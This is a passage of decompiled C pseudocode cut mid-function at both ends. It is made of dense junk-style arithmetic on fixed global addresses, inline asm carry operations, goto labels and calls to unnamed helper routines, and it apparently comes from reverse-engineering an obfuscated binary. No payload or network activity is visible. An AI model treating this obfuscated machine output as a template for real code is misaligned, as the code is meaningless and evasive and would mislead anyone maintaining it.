					_t798 =  *0x6e1bb0d8; // 0xf2b6e6
					if(_t798 !=  *0x6ED68BBD) {
						_t1190 =  *0x6e1bb00c; // 0x0
						_t1572 =  *0x6e1bb008; // 0x58226284
						 *0x6e1bb008 = E6E173D70(_t1572, _t1190,  *(0x6e1bb010 + _v12 * 4), 0);
						 *0x6e1bb00c = _t1572;
						_t801 =  *0x6e1bb008; // 0x58226284
						 *0x6e1bb0d8 = _t801 + 5 -  *0x6e1bb000;
						_v124 =  *0x6E1BB038;
						_v120 = 0;
						_t1574 =  *0x6e1bb008; // 0x58226284
						__eflags = _t1574 - _v124;
						if(_t1574 != _v124) {
							L47:
							goto L40;
						} else {
							_t805 =  *0x6e1bb00c; // 0x0
							__eflags = _t805 - _v120;
							if(_t805 != _v120) {
								goto L47;
							} else {
							}
						}
					} else {
						L40:
						_v12 = _v12 + 1;
						continue;
					}
					break;
				}
				_t1628 =  *0x6e1bb0d8; // 0xf2b6e6
				_t908 =  *0x6e1bb00c; // 0x0
				_t1293 =  *0x6e1bb008; // 0x58226284
				_t472 = E6E173D70(_t1293, _t908, 0x2f, 0);
				asm("sbb edi, edx");
				 *0x6e1bb008 = _t1628 - _t472;
				 *0x6e1bb00c = 0;
				_v64 =  *((intOrPtr*)(0x6e1bb058));
				__eflags = _v64 - 1;
				if(_v64 == 1) {
					_t474 = _v8 & 0x0000ffff;
					_t910 =  *0x6e1bb0d8; // 0xf2b6e6
					_t112 = _t474 - 0xb401; // 0xf202e5
					 *0x6e1bb0d4 = ( *0x6e1bb0d4 & 0x000000ff) + _t910 + _t112 + ( *0x6e1bb0d4 & 0x000000ff);
				} else {
					_t1566 =  *0x6e1bb0d8; // 0xf2b6e6
					_t1568 = _t1566 + 5 - (_v8 & 0x0000ffff);
					__eflags = _t1568;
					 *0x6e1bb0d4 = _t1568;
				}
				_v33 = 1;
				__eflags =  *((intOrPtr*)(0x6e1bb048)) +  *0x6ED68BBD - 0x2af;
				if( *((intOrPtr*)(0x6e1bb048)) +  *0x6ED68BBD != 0x2af) {
					_t478 =  *0x6e1bb000; // 0x5a2
					 *((intOrPtr*)(0x6e1bb010)) = _t478 -  *0x6e1bb0d8 * 0x2f;
					_t480 =  *0x6e1bb0d8; // 0xf2b6e6
					_t917 =  *0x6e1bb0d8; // 0xf2b6e6
					_t119 = _t480 - 0xb401; // 0xf202e5
					asm("adc eax, [0x6e1bb00c]");
					_t1302 = _t917 + _t119 +  *0x6e1bb008 +  *0x6e1bb008;
					__eflags = _t1302;
					asm("adc eax, [0x6e1bb00c]");
					 *0x6e1bb008 = _t1302;
					 *0x6e1bb00c = 0;
				} else {
					_t1563 =  *0x6e1bb008; // 0x58226284
					 *0x6e1bb0d8 = _t1563 - 0x18 +  *0x6e1bb0d8;
					_t793 =  *0x6e1bb0d8; // 0xf2b6e6
					asm("adc ecx, [0x6e1bb00c]");
					 *0x6e1bb008 = _t793 - 0x48 -  *0x6e1bb000 +  *0x6e1bb008;
					 *0x6e1bb00c = 0;
				}
				_t918 =  *0x6e1bb008; // 0x58226284
				_t1303 =  *0x6e1bb00c; // 0x0
				asm("sbb edx, 0x0");
				asm("sbb edx, eax");
				asm("adc edx, [0x6e1bb00c]");
				 *0x6e1bb008 = _t918 - 0x48 -  *0x6e1bb0d8 +  *0x6e1bb008;
				 *0x6e1bb00c = _t1303;
				__eflags =  *((intOrPtr*)(0x6e1bb048)) +  *0x6ED68BBD - 0x2af;
				if( *((intOrPtr*)(0x6e1bb048)) +  *0x6ED68BBD != 0x2af) {
					 *((intOrPtr*)(0x6e1bb010)) = (_v8 & 0x0000ffff) -  *0x6e1bb0d8 * 0x2f;
					_t926 =  *0x6e1bb0d8; // 0xf2b6e6
					_t1307 =  *0x6e1bb0d8; // 0xf2b6e6
					_t128 = _t926 - 0xb401; // 0xf202e5
					_t1309 = ( *0x6e1bb0d4 & 0x000000ff) + _t1307 + _t128 + ( *0x6e1bb0d4 & 0x000000ff);
					__eflags = _t1309;
					 *0x6e1bb0d4 = _t1309;
				} else {
					_t791 =  *0x6e1bb0d8; // 0xf2b6e6
					_t123 = _t791 - 0x18; // -24
					 *0x6e1bb0d8 = ( *0x6e1bb0d4 & 0x000000ff) + _t123;
					_t1560 =  *0x6e1bb0d8; // 0xf2b6e6
					 *0x6e1bb0d4 = ( *0x6e1bb0d4 & 0x000000ff) + _t1560 - 0x48 - (_v8 & 0x0000ffff);
				}
				while(1) {
					__eflags = 1;
					if(1 == 0) {
						break;
					}
					_t1121 =  *0x6e1bb00c; // 0x0
					_t1499 =  *0x6e1bb008; // 0x58226284
					_t718 = E6E173D70(_t1499, _t1121, 0x268e, 0);
					asm("cdq");
					 *0x6e1bb0d4 = _t718 + ( *0x6e1bb0d4 & 0x000000ff);
					_t1500 =  *0x6e1bb008; // 0x58226284
					_t720 =  *0x6e1bb00c; // 0x0
					asm("sbb eax, 0x0");
					asm("sbb eax, ecx");
					_t1503 = _t1500 - 0x48 -  *0x6e1bb0d8 +  *0x6e1bb008;
					asm("adc eax, [0x6e1bb00c]");
					 *0x6e1bb008 = _t1503;
					 *0x6e1bb00c = _t720;
					asm("cdq");
					_v132 = _v8 & 0x0000ffff;
					_v128 = _t1503;
					_t1504 =  *0x6e1bb00c; // 0x0
					__eflags = _t1504 - _v128;
					if(__eflags >= 0) {
						if(__eflags > 0) {
							L62:
							_t1174 =  *0x6e1bb008; // 0x58226284
							 *0x6e1bb000 = _t1174 - 0x18 +  *0x6e1bb0d8;
							_t1547 =  *0x6e1bb008; // 0x58226284
							_t777 =  *0x6e1bb00c; // 0x0
							asm("adc eax, 0x0");
							asm("sbb eax, ecx");
							 *0x6e1bb008 = _t1547 + 5 -  *0x6e1bb0d8;
							 *0x6e1bb00c = _t777;
							_t1178 =  *0x6e1bb008; // 0x58226284
							asm("cdq");
							_t1550 =  *0x6e1bb0d0; // 0xba22623c
							 *0x6e1bb0d0 = _t1550 - _t1178 + 2 + ( *0x6e1bb0d4 & 0x000000ff);
							__eflags = _v8 & 0x0000ffff;
							if((_v8 & 0x0000ffff) != 0) {
								_v44 = 0;
							} else {
								_v44 = 1;
							}
							 *0x6e1bb0d0 = _v44;
							__eflags =  *0x6e1bb0d0;
							if( *0x6e1bb0d0 != 0) {
								asm("cdq");
								_t1553 =  *0x6e1bb0d0; // 0xba22623c
								 *0x6e1bb0d0 = _t1553 + ( *0x6e1bb0d4 & 0x000000ff) - 0x48 -  *0x6e1bb008;
								_v68 =  *((intOrPtr*)(0x6e1bb058));
								__eflags = _v68 - 1;
								if(_v68 == 1) {
									_t786 =  *0x6e1bb0d8; // 0xf2b6e6
									_t1184 =  *0x6e1bb000; // 0x5a2
									_t142 = _t786 - 0xb401; // -44639
									 *0x6e1bb0d0 = _t1184 + _t142 +  *0x6e1bb0d0 +  *0x6e1bb0d0;
								} else {
									_t787 =  *0x6e1bb000; // 0x5a2
									_t789 = _t787 + 5 -  *0x6e1bb0d8;
									__eflags = _t789;
									 *0x6e1bb0d0 = _t789;
								}
							}
							_t780 =  *0x6e1bb000; // 0x5a2
							_t781 = _t780 - (_v8 & 0x0000ffff) * 0x2f;
							__eflags = _t781;
							 *0x6e1bb0d0 = _t781;
						} else {
							_t790 =  *0x6e1bb008; // 0x58226284
							__eflags = _t790 - _v132;
							if(_t790 > _v132) {
								goto L62;
							}
						}
					}
					_t1125 =  *0x6e1bb008; // 0x58226284
					_t1505 =  *0x6e1bb00c; // 0x0
					asm("adc edx, [0x6e1bb00c]");
					asm("adc edx, eax");
					 *0x6e1bb008 = _t1125 +  *0x6e1bb008 +  *0x6e1bb0d8;
					 *0x6e1bb00c = _t1505;
					_t1128 =  *0x6e1bb008; // 0x58226284
					asm("cdq");
					_t1506 =  *0x6e1bb0d0; // 0xba22623c
					 *0x6e1bb0d0 = _t1506 + _t1128 - 0xb401 + ( *0x6e1bb0d4 & 0x000000ff) +  *0x6e1bb0d0;
					_t724 =  *0x6e1bb0d0; // 0xba22623c
					_v140 = _t724;
					_v136 = 0;
					__eflags = _v136 -  *0x6e1bb00c; // 0x0
					if(__eflags > 0) {
						L75:
						_t1509 =  *0x6e1bb0d0; // 0xba22623c
						__eflags = _t1509 -  *0x6e1bb0d8; // 0xf2b6e6
						if(__eflags >= 0) {
							_t763 =  *0x6e1bb0d0; // 0xba22623c
							 *0x6e1bb0d8 = _t763 + 5 - (_v8 & 0x0000ffff);
							 *0x6ED68BBD =  *0x6ED68BBD - (_v8 & 0x0000ffff);
							_t767 =  *0x6e1bb0d0; // 0xba22623c
							_t769 = _t767 + 5 - (_v8 & 0x0000ffff);
							__eflags = _t769;
							 *0x6e1bb0d8 = _t769;
						}
					} else {
						if(__eflags < 0) {
							L74:
							_t1170 =  *0x6e1bb00c; // 0x0
							_t1543 =  *0x6e1bb008; // 0x58226284
							_t770 = E6E173D70(_t1543, _t1170, 0x268e, 0);
							asm("cdq");
							 *0x6e1bb0d4 = _t770 + ( *0x6e1bb0d4 & 0x000000ff);
							_t1544 =  *0x6e1bb008; // 0x58226284
							_t772 =  *0x6e1bb00c; // 0x0
							asm("adc eax, 0x0");
							asm("sbb eax, ecx");
							 *0x6e1bb008 = _t1544 + 1 -  *0x6e1bb0d8;
							 *0x6e1bb00c = _t772;
							asm("cdq");
							 *0x6e1bb0d0 = ( *0x6e1bb0d4 & 0x000000ff) + 1 -  *0x6e1bb008;
						} else {
							__eflags = _v140 -  *0x6e1bb008; // 0x58226284
							if(__eflags >= 0) {
								goto L75;
							} else {
								goto L74;
							}
						}
					}
					__eflags = _v20 - 1;
					if(_v20 >= 1) {
						_t1641 =  *0x6e1bb0d8; // 0xf2b6e6
						_t1510 =  *0x6e1bb00c; // 0x0
						_t725 =  *0x6e1bb008; // 0x58226284
						_t726 = E6E173D70(_t725, _t1510, 0x2f, 0);
						asm("sbb edi, edx");
						 *0x6e1bb008 = _t1641 - _t726;
						 *0x6e1bb00c = 0;
						asm("cdq");
						_t1133 =  *0x6e1bb0d0; // 0xba22623c
						 *0x6e1bb0d0 = _t1133 + ( *0x6e1bb0d4 & 0x000000ff) - 0x48 -  *0x6e1bb008;
						E6E16B530();
						__eflags =  *0x6e1bb0d0 - ( *0x6e1bb0d4 & 0x000000ff); // 0xba22623c
						if(__eflags >= 0) {
							_t742 =  *0x6e1bb0d0; // 0xba22623c
							 *0x6e1bb0d4 = _t742 + 5 -  *0x6e1bb008;
							 *0x6ED68BBD =  *0x6ED68BBD -  *0x6e1bb008;
							_t1145 =  *0x6e1bb0d0; // 0xba22623c
							_t1147 = _t1145 + 5 -  *0x6e1bb008;
							__eflags = _t1147;
							 *0x6e1bb0d4 = _t1147;
						}
						_t1512 =  *0x6e1bb008; // 0x58226284
						_t731 =  *0x6e1bb00c; // 0x0
						asm("adc eax, 0x0");
						asm("sbb eax, ecx");
						 *0x6e1bb008 = _t1512 + 1 -  *0x6e1bb0d8;
						 *0x6e1bb00c = _t731;
						_t1515 =  *0x6e1bb0d0; // 0xba22623c
						 *0x6e1bb0d4 = _t1515 + 5 -  *0x6e1bb008;
						_v20 = _v20 - 1;
						 *0x6e1bb0d0 = (_v8 & 0x0000ffff) - 0x48 -  *0x6e1bb000 +  *0x6e1bb0d0;
						_t1518 =  *0x6e1bb0d0; // 0xba22623c
						_v8 = _t1518 + 5 -  *0x6e1bb0d8;
						_v72 =  *((intOrPtr*)(0x6e1bb058));
						__eflags = _v72 - 1;
						if(_v72 == 1) {
							asm("cdq");
							_t1141 =  *0x6e1bb0d0; // 0xba22623c
							 *0x6e1bb0d0 = _t1141 + ( *0x6e1bb0d4 & 0x000000ff) - 0xb401 +  *0x6e1bb008 +  *0x6e1bb0d0;
						} else {
							asm("cdq");
							_t741 = ( *0x6e1bb0d4 & 0x000000ff) + 5 -  *0x6e1bb008;
							__eflags = _t741;
							 *0x6e1bb0d0 = _t741;
						}
						continue;
					} else {
						_t1524 =  *0x6e1bb0d0; // 0xba22623c
						 *0x6e1bb0d4 = _t1524 + 5 -  *0x6e1bb008;
						_t747 =  *0x6e1bb0d0; // 0xba22623c
						_v148 = _t747;
						_v144 = 0;
						__eflags = _v144 -  *0x6e1bb00c; // 0x0
						if(__eflags >= 0) {
							if(__eflags > 0) {
								L81:
								_t1160 =  *0x6e1bb00c; // 0x0
								_t1537 =  *0x6e1bb008; // 0x58226284
								_t758 = E6E173D70(_t1537, _t1160, 0x268e, 0);
								asm("cdq");
								 *0x6e1bb0d4 = _t758 + ( *0x6e1bb0d4 & 0x000000ff);
								_t1643 =  *0x6e1bb0d8; // 0xf2b6e6
								_t1538 =  *0x6e1bb00c; // 0x0
								_t760 =  *0x6e1bb008; // 0x58226284
								_t761 = E6E173D70(_t760, _t1538, 0x2f, 0);
								asm("sbb edi, edx");
								 *0x6e1bb008 = _t1643 - _t761;
								 *0x6e1bb00c = 0;
								_t1163 =  *0x6e1bb0d0; // 0xba22623c
								_t1165 = _t1163 + 5 -  *0x6e1bb008;
								__eflags = _t1165;
								 *0x6e1bb0d4 = _t1165;
							} else {
								__eflags = _v148 -  *0x6e1bb008; // 0x58226284
								if(__eflags > 0) {
									goto L81;
								}
							}
						}
						__eflags =  *((intOrPtr*)(0x6e1bb048)) +  *0x6ED68BBD - 0x2af;
						if( *((intOrPtr*)(0x6e1bb048)) +  *0x6ED68BBD != 0x2af) {
							_t1151 =  *0x6e1bb000; // 0x5a2
							 *((intOrPtr*)(0x6e1bb010)) = _t1151 -  *0x6e1bb0d8 * 0x2f;
							_t1153 =  *0x6e1bb0d8; // 0xf2b6e6
							_t1532 =  *0x6e1bb0d8; // 0xf2b6e6
							_t162 = _t1153 - 0xb401; // 0xf202e5
							asm("adc ecx, [0x6e1bb00c]");
							_t753 = _t1532 + _t162 +  *0x6e1bb008 +  *0x6e1bb008;
							__eflags = _t753;
							asm("adc ecx, [0x6e1bb00c]");
							 *0x6e1bb008 = _t753;
							 *0x6e1bb00c = 0;
						} else {
							_t755 =  *0x6e1bb008; // 0x58226284
							 *0x6e1bb0d8 = _t755 - 0x18 +  *0x6e1bb0d8;
							_t1156 =  *0x6e1bb0d8; // 0xf2b6e6
							asm("adc edx, [0x6e1bb00c]");
							 *0x6e1bb008 = _t1156 - 0x48 -  *0x6e1bb000 +  *0x6e1bb008;
							 *0x6e1bb00c = 0;
						}
						_t1533 =  *0x6e1bb008; // 0x58226284
						_t754 =  *0x6e1bb00c; // 0x0
						asm("adc eax, 0x0");
						asm("sbb eax, ecx");
						 *0x6e1bb008 = _t1533 + 1 -  *0x6e1bb0d8;
						 *0x6e1bb00c = _t754;
					}
					break;
				}
				_v20 = 0x147042e;
				_v12 = 0x1b;
				while(1) {
					__eflags = _v12 - 1;
					if(_v12 <= 1) {
						break;
					}
					_t710 =  *0x6e1bb000; // 0x5a2
					_v156 = _t710;
					_v152 = 0;
					_v48 = 0x28;
					_t711 = _v48;
					__eflags = _v156 -  *((intOrPtr*)(_t711 + 0x6e1bb050));
					if(_v156 !=  *((intOrPtr*)(_t711 + 0x6e1bb050))) {
						L99:
						asm("adc edx, [0x6e1bb00c]");
						 *0x6e1bb008 = ( *0x6e1bb0d4 & 0x000000ff) - 0x48 -  *0x6e1bb000 +  *0x6e1bb008;
						 *0x6e1bb00c = 0;
						_t712 =  *0x6e1bb000; // 0x5a2
						asm("adc ecx, [edx*8+0x6e1bb054]");
						_t1495 = _v12;
						 *((intOrPtr*)(0x6e1bb050 + _t1495 * 8)) = _t712 +  *((intOrPtr*)(0x6e1bb050 + _v12 * 8));
						 *((intOrPtr*)(0x6e1bb054 + _t1495 * 8)) = 0;
						_t714 =  *0x6e1bb008; // 0x58226284
						 *0x6e1bb0d4 = _t714 + 5 -  *0x6e1bb000;
						goto L94;
					} else {
						_t1498 = _v48;
						__eflags = _v152 -  *((intOrPtr*)(_t1498 + 0x6e1bb054));
						if(_v152 !=  *((intOrPtr*)(_t1498 + 0x6e1bb054))) {
							goto L99;
						} else {
							L94:
							_t1497 = _v12 - 1;
							__eflags = _t1497;
							_v12 = _t1497;
							continue;
						}
					}
					break;
				}
				asm("cdq");
				_t928 =  *0x6e1bb0d0; // 0xba22623c
				 *0x6e1bb0d0 = _t928 + ( *0x6e1bb0d4 & 0x000000ff) - 0x48 -  *0x6e1bb008;
				__eflags =  *0x6e1bb0d8 - (_v8 & 0x0000ffff); // 0xf2b6e6
				if(__eflags >= 0) {
					_t705 =  *0x6e1bb0d8; // 0xf2b6e6
					_v8 = _t705 + 5 -  *0x6e1bb0d0;
					 *0x6ED68BBD =  *0x6ED68BBD -  *0x6e1bb0d0;
					_t1111 =  *0x6e1bb0d8; // 0xf2b6e6
					_t1113 = _t1111 + 5 -  *0x6e1bb0d0;
					__eflags = _t1113;
					_v8 = _t1113;
				}
				asm("adc eax, [ecx+0x6e1bb054]"); // 0x41f637cd
				_v164 =  *0x6E1BB0C0 +  *((intOrPtr*)(0x6ed68bfd));
				_v160 =  *((intOrPtr*)(0x6e1bb0c4));
				__eflags = _v164 - 0x2af;
				if(_v164 != 0x2af) {
					L105:
					_t495 =  *0x6e1bb0d0; // 0xba22623c
					 *((intOrPtr*)(0x6e1bb058)) = _t495 - ( *0x6e1bb0d4 & 0x000000ff) * 0x2f;
					 *0x6E1BB05C = 0;
					asm("cdq");
					asm("adc edx, [0x6e1bb00c]");
					_t500 = ( *0x6e1bb0d4 & 0x000000ff) + ( *0x6e1bb0d4 & 0x000000ff) - 0xb401 +  *0x6e1bb008 +  *0x6e1bb008;
					__eflags = _t500;
					asm("adc edx, [0x6e1bb00c]");
					 *0x6e1bb008 = _t500;
					 *0x6e1bb00c = 0;
				} else {
					__eflags = _v160;
					if(_v160 != 0) {
						goto L105;
					} else {
						_t1106 =  *0x6e1bb008; // 0x58226284
						asm("cdq");
						 *0x6e1bb0d4 = _t1106 - 0x18 + ( *0x6e1bb0d4 & 0x000000ff);
						asm("adc eax, [0x6e1bb00c]");
						 *0x6e1bb008 = ( *0x6e1bb0d4 & 0x000000ff) - 0x48 -  *0x6e1bb0d0 +  *0x6e1bb008;
						 *0x6e1bb00c = 0;
					}
				}
				 *0x6e1bb0d0 = 0x6e0e85c4 +  *0x6e1bb0d0;
				asm("cdq");
				_t503 = ( *0x6e1bb0d4 & 0x000000ff) + 1 -  *0x6e1bb008;
				__eflags = _t503;
				 *0x6e1bb000 = _t503;
				while(1) {
					__eflags = 1;
					if(1 == 0) {
						break;
					}
					_v16 = _v16 + 1;
					_t1351 = (_v8 & 0x0000ffff) +  *0x6e1bb0d0;
					_t538 =  *0x6e1bb0d8; // 0xf2b6e6
					_t214 = _t1351 - 0xb401; // 0xf202e5
					 *0x6e1bb0d0 = _t538 + _t214 +  *0x6e1bb0d0;
					_v172 =  *((intOrPtr*)(0x6e1bb024));
					_v168 = 0;
					__eflags = _v168 -  *0x6e1bb00c; // 0x0
					if(__eflags <= 0) {
						if(__eflags < 0) {
							L111:
							 *0x6ED68BBD =  *0x6e1bb0d4 & 0x000000ff;
							_t1099 =  *0x6e1bb008; // 0x58226284
							asm("cdq");
							_t1481 =  *0x6e1bb0d0; // 0xba22623c
							 *0x6e1bb0d0 = _t1481 + _t1099 - 0xb401 + ( *0x6e1bb0d4 & 0x000000ff) +  *0x6e1bb0d0;
							asm("cdq");
							_t1103 =  *0x6e1bb008; // 0x58226284
							 *0x6e1bb0d0 = _t1103 - ( *0x6e1bb0d4 & 0x000000ff) * 0x2f;
							asm("cdq");
							_t1483 =  *0x6e1bb0d0; // 0xba22623c
							_t1484 = _t1483 + ( *0x6e1bb0d4 & 0x000000ff) - 0x48 -  *0x6e1bb008;
							__eflags = _t1484;
							 *0x6e1bb0d0 = _t1484;
						} else {
							__eflags = _v172 -  *0x6e1bb008; // 0x58226284
							if(__eflags <= 0) {
								goto L111;
							}
						}
					}
					__eflags =  *0x6e1bb0d0 - 0x10edd;
					if( *0x6e1bb0d0 > 0x10edd) {
						_v8 =  *0x6e1bb0d8 * 0x268e + (_v8 & 0x0000ffff);
						__eflags =  *0x6E1BB054 - 0x170c;
						if( *0x6E1BB054 == 0x170c) {
							 *0x6e1bb0d4 = ( *0x6e1bb0d4 & 0x000000ff) +  *((intOrPtr*)(0x6e1bb024));
							_t1098 = ( *0x6e1bb0d4 & 0x000000ff) + 1 - ( *0x6e1bb0d4 & 0x000000ff);
							__eflags = _t1098;
							 *0x6e1bb0d0 = _t1098;
						}
					}
					__eflags =  *((intOrPtr*)(0x6e1bb048)) +  *0x6ED68BBD - 0x2af;
					if( *((intOrPtr*)(0x6e1bb048)) +  *0x6ED68BBD != 0x2af) {
						_t1633 =  *0x6e1bb0d8; // 0xf2b6e6
						_t1356 =  *0x6e1bb00c; // 0x0
						_t544 =  *0x6e1bb008; // 0x58226284
						 *((intOrPtr*)(0x6e1bb010)) = _t1633 - E6E173D70(_t544, _t1356, 0x2f, 0);
						_t546 =  *0x6e1bb008; // 0x58226284
						_t971 =  *0x6e1bb0d0; // 0xba22623c
						_t972 = _t971 + _t546 - 0xb401 +  *0x6e1bb008 +  *0x6e1bb0d0;
						__eflags = _t972;
						 *0x6e1bb0d0 = _t972;
					} else {
						_t1089 =  *0x6e1bb0d0; // 0xba22623c
						asm("adc edx, [0x6e1bb00c]");
						 *0x6e1bb008 = _t1089 - 0x18 +  *0x6e1bb008;
						 *0x6e1bb00c = 0;
						_t687 =  *0x6e1bb008; // 0x58226284
						_t1092 =  *0x6e1bb0d0; // 0xba22623c
						 *0x6e1bb0d0 = _t1092 + _t687 - 0x48 -  *0x6e1bb0d8;
					}
					__eflags = _v16 - 0x54;
					if(_v16 < 0x54) {
						__eflags =  *((intOrPtr*)(0x6e1bb024)) - _v16;
						if( *((intOrPtr*)(0x6e1bb024)) <= _v16) {
							 *0x6ED68BBD =  *0x6e1bb0d4 & 0x000000ff;
							_t1087 =  *0x6e1bb0d4 & 0x000000ff;
							_t1475 = _v16;
							_t234 = _t1087 - 0xb401; // -45997
							asm("cdq");
							asm("adc edx, [0x6e1bb00c]");
							asm("adc edx, [0x6e1bb00c]");
							 *0x6e1bb008 = _t1475 + _t234 +  *0x6e1bb008 +  *0x6e1bb008;
							 *0x6e1bb00c = _t1475;
							asm("cdq");
							 *0x6e1bb008 = _v16 - ( *0x6e1bb0d4 & 0x000000ff) * 0x2f;
							 *0x6e1bb00c = _t1475;
							asm("cdq");
							_t686 = ( *0x6e1bb0d4 & 0x000000ff) - 0x48 - _v16 +  *0x6e1bb008;
							__eflags = _t686;
							asm("adc edx, [0x6e1bb00c]");
							 *0x6e1bb008 = _t686;
							 *0x6e1bb00c = _t1475;
						}
						_t1467 = (_v8 & 0x0000ffff) +  *0x6e1bb0d0;
						_t668 =  *0x6e1bb0d8; // 0xf2b6e6
						_t239 = _t1467 - 0xb401; // 0xf202e5
						 *0x6e1bb0d0 = _t668 + _t239 +  *0x6e1bb0d0;
						_t1471 = (_v8 & 0x0000ffff) - 0x48 -  *0x6e1bb0d8 +  *0x6e1bb0d0;
						 *0x6e1bb0d0 = _t1471;
						asm("cdq");
						_v180 =  *0x6e1bb0d4 & 0x000000ff;
						_v176 = _t1471;
						_t670 =  *0x6e1bb00c; // 0x0
						__eflags = _t670 - _v176;
						if(__eflags >= 0) {
							if(__eflags > 0) {
								L124:
								_t1078 =  *0x6e1bb008; // 0x58226284
								asm("cdq");
								 *0x6e1bb0d4 = _t1078 + 5 - _v16;
								 *0x6ED68BBD =  *0x6ED68BBD - _v16;
								_t1083 =  *0x6e1bb008; // 0x58226284
								asm("cdq");
								_t1085 = _t1083 + 5 - _v16;
								__eflags = _t1085;
								 *0x6e1bb0d4 = _t1085;
							} else {
								_t1086 =  *0x6e1bb008; // 0x58226284
								__eflags = _t1086 - _v180;
								if(_t1086 >= _v180) {
									goto L124;
								}
							}
						}
					}
					__eflags =  *((intOrPtr*)(0x6e1bb048)) +  *0x6ED68BBD - 0x2af;
					if( *((intOrPtr*)(0x6e1bb048)) +  *0x6ED68BBD != 0x2af) {
						_t1361 =  *0x6e1bb0d8; // 0xf2b6e6
						 *((intOrPtr*)(0x6e1bb010)) = _t1361 -  *0x6e1bb000 * 0x2f;
						_t1363 =  *0x6e1bb000; // 0x5a2
						_t552 =  *0x6e1bb000; // 0x5a2
						_t256 = _t1363 - 0xb401; // -44639
						_t979 = _t552 + _t256 +  *0x6e1bb0d0 +  *0x6e1bb0d0;
						__eflags = _t979;
						 *0x6e1bb0d0 = _t979;
					} else {
						_t662 =  *0x6e1bb000; // 0x5a2
						_t1074 =  *0x6e1bb0d0; // 0xba22623c
						_t253 = _t662 - 0x18; // 0xba226224
						 *0x6e1bb000 = _t1074 + _t253;
						_t663 =  *0x6e1bb000; // 0x5a2
						 *0x6e1bb0d0 = _t663 - 0x48 -  *0x6e1bb0d8 +  *0x6e1bb0d0;
					}
					_v8 =  *0x6e1bb0d8 * 0x268e + (_v8 & 0x0000ffff);
					__eflags =  *((intOrPtr*)(0x6e1bb054)) - 0x170c;
					if( *((intOrPtr*)(0x6e1bb054)) == 0x170c) {
						 *0x6e1bb0d4 = ( *0x6e1bb0d4 & 0x000000ff) +  *((intOrPtr*)(0x6e1bb024));
						_t661 = ( *0x6e1bb0d4 & 0x000000ff) + 1 - ( *0x6e1bb0d4 & 0x000000ff);
						__eflags = _t661;
						 *0x6e1bb0d0 = _t661;
					}
					__eflags = _v32 - 6;
					if(_v32 < 6) {
						_t1459 =  *0x6e1bb0d8; // 0xf2b6e6
						_t653 =  *0x6e1bb0d0; // 0xba22623c
						_t263 = _t1459 - 0x18; // 0xba226224
						_v8 = _t653 + _t263;
						_v32 = _v32 - 1;
						_t657 = (_v8 & 0x0000ffff) - 0x48 - _v32 +  *0x6e1bb000;
						__eflags = _t657;
						 *0x6e1bb000 = _t657;
					}
					_t981 =  *0x6e1bb0d0; // 0xba22623c
					_v8 = _t981 + 5 -  *0x6e1bb0d8;
					__eflags =  *((intOrPtr*)(0x6e1bb048)) +  *0x6ED68BBD - 0x2af;
					if( *((intOrPtr*)(0x6e1bb048)) +  *0x6ED68BBD != 0x2af) {
						_t1635 =  *0x6e1bb0d8; // 0xf2b6e6
						_t986 =  *0x6e1bb00c; // 0x0
						_t1370 =  *0x6e1bb008; // 0x58226284
						 *((intOrPtr*)(0x6e1bb010)) = _t1635 - E6E173D70(_t1370, _t986, 0x2f, 0);
						_t1371 =  *0x6e1bb008; // 0x58226284
						_t557 =  *0x6e1bb0d0; // 0xba22623c
						_t558 = _t557 + _t1371 - 0xb401 +  *0x6e1bb008 +  *0x6e1bb0d0;
						__eflags = _t558;
						 *0x6e1bb0d0 = _t558;
					} else {
						_t648 =  *0x6e1bb0d0; // 0xba22623c
						asm("adc ecx, [0x6e1bb00c]");
						 *0x6e1bb008 = _t648 - 0x18 +  *0x6e1bb008;
						 *0x6e1bb00c = 0;
						_t1456 =  *0x6e1bb008; // 0x58226284
						_t651 =  *0x6e1bb0d0; // 0xba22623c
						 *0x6e1bb0d0 = _t651 + _t1456 - 0x48 -  *0x6e1bb0d8;
					}
					_v8 = (_v8 & 0x0000ffff) +  *0x6e1bb000 + _v24;
					__eflags = (_v8 & 0x0000ffff) - 0x14d4b;
					if((_v8 & 0x0000ffff) > 0x14d4b) {
						_t1439 =  *0x6e1bb0d8; // 0xf2b6e6
						 *0x6e1bb0d0 = _t1439 - (_v8 & 0x0000ffff) * 0x2f;
						_t627 =  *0x6e1bb000; // 0x5a2
						_v188 = _t627;
						_v184 = 0;
						__eflags = _v188 -  *0x6e1bb008; // 0x58226284
						if(__eflags == 0) {
							__eflags = _v184 -  *0x6e1bb00c; // 0x0
							if(__eflags == 0) {
								_t636 = E6E166B70(_v8 & 0x0000ffff);
								_t1652 = _t1652 + 4;
								 *0x6e1bb0d0 = _t636;
								_t1449 =  *0x6e1bb0d8; // 0xf2b6e6
								_v196 = _t1449;
								_v192 = 0;
								__eflags = _v192 -  *0x6e1bb00c; // 0x0
								if(__eflags >= 0) {
									if(__eflags > 0) {
										L141:
										_t640 =  *0x6e1bb0d8; // 0xf2b6e6
										 *0x6e1bb008 = _t640 + 5 - ( *0x6e1bb0d4 & 0x000000ff);
										 *0x6e1bb00c = 0;
										 *0x6ED68BBD =  *0x6ED68BBD - ( *0x6e1bb0d4 & 0x000000ff);
										_t1067 =  *0x6e1bb0d8; // 0xf2b6e6
										__eflags = 0;
										 *0x6e1bb008 = _t1067 + 5 - ( *0x6e1bb0d4 & 0x000000ff);
										 *0x6e1bb00c = 0;
									} else {
										__eflags = _v196 -  *0x6e1bb008; // 0x58226284
										if(__eflags >= 0) {
											goto L141;
										}
									}
								}
								_t1062 =  *0x6e1bb00c; // 0x0
								_t1450 =  *0x6e1bb008; // 0x58226284
								_t638 = E6E173D70(_t1450, _t1062, 0x268e, 0);
								asm("cdq");
								_t1064 = _t638 + ( *0x6e1bb0d4 & 0x000000ff);
								__eflags = _t1064;
								 *0x6e1bb0d4 = _t1064;
							}
						}
						__eflags =  *((intOrPtr*)(0x6e1bb024)) -  *0x6e1bb0d8; // 0xf2b6e6
						if(__eflags <= 0) {
							_t1443 =  *0x6e1bb008; // 0x58226284
							 *0x6ED68BBD = _t1443;
							_t1055 =  *0x6e1bb0d8; // 0xf2b6e6
							_t1444 =  *0x6e1bb0d0; // 0xba22623c
							 *0x6e1bb0d0 = _t1444 + _t1055 - 0xb401 +  *0x6e1bb008 +  *0x6e1bb0d0;
							_t1639 =  *0x6e1bb0d8; // 0xf2b6e6
							_t631 =  *0x6e1bb00c; // 0x0
							_t1059 =  *0x6e1bb008; // 0x58226284
							 *0x6e1bb0d0 = _t1639 - E6E173D70(_t1059, _t631, 0x2f, 0);
							_t1446 =  *0x6e1bb008; // 0x58226284
							_t633 =  *0x6e1bb0d0; // 0xba22623c
